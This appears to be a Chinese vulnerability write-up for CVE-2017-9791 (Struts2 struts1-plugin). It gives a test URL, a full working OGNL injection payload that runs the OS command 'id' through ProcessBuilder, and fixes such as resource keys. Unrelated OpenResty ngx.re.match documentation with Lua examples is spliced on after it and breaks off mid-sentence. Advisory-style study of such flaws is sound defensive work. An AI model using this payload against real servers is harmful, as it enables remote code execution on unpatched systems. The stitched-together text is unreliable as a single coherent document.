漏洞编号
CVE-2017-9791

漏洞描述
在Struts 2.3.x 系列的 Showcase 应用中演示Struts2-struts1-plugin插件中存在一处任意代码执行漏洞。当你的应用使用了Struts2-struts1-plugin时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行。

[root@server144 webapps]# ll struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar
-rw-r--r-- 1 root root 32799 Nov 21 2014 struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar

漏洞测试:

http://192.168.192.144:32108/struts2-showcase/integration/editGangster.action

提交name值为:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

解决方案:
1)停用 showcase.war
2)开发者通过使用 resource keys 替代将原始消息直接传递给 ActionMessage 的方式。 如下所示:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

请不要使用如下的方式

messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));

参考链接:
http://www.mamicode.com/info-detail-1895073.html
https://github.com/jas502n/st2-048

ngx.re.match

语法:captures, err = ngx.re.match(subject, regex, options?, ctx?, res_table?)

只有第一次匹配的结果被返回,如果没有匹配,则返回nil;或者匹配过程中出现错误时,也会返回nil,此时错误信息会被保存在err中。

当匹配的字符串找到时,一个Lua table captures会被返回,captures[0]中保存的就是匹配到的字串,captures[1]保存的是用括号括起来的第一个子模式的结果,captures[2]保存的是第二个子模式的结果,依次类似。

    local m, err = ngx.re.match("hello, 1234", "[0-9]+")
    if m then
        -- m[0] == "1234"
    else
        if err then
            ngx.log(ngx.ERR, "error: ", err)
            return
        end
 
        ngx.say("match not found")
    end

上面例子中,匹配的字符串是1234,因此m[0] == “1234”,但是没有用括号括起来的子模式,因此,m[1],m[2]等均为nil。

    local m, err = ngx.re.match("hello, 1234", "([0-9])[0-9]+")
    -- m[0] == "1234"
    -- m[1] == "1"

命名方式的捕获,从v0.7.14版本后开始支持,如下所示:

例1:
    local m, err = ngx.re.match("hello, 1234", "([0-9])(?<remaining>[0-9]+)")
    -- m[0] == "1234"
    -- m[1] == "1"
    -- m[2] == "234"
    -- m["remaining"] == "234"
例2:
    local m, err = ngx.re.match("hello, world", "(world)|(hello)|(?<named>howdy)")
    -- m[0] == "hello"
    -- m[1] == nil
    -- m[2] == "hello"
    -- m[3] == nil
    -- m["named"] == nil

例2中,为什么m[1]等于nil?因为在给定的模式串中,最先匹配的是hello,因此,其他子模式在找到的匹配串中查找不到对应的匹配串,因此,除了hello子模式外,其他的子模式的匹配结果都是nil。一定要记住,是谁最先被匹配的

options选项可以是下面的取值的组合:

 a 锚定模式,只从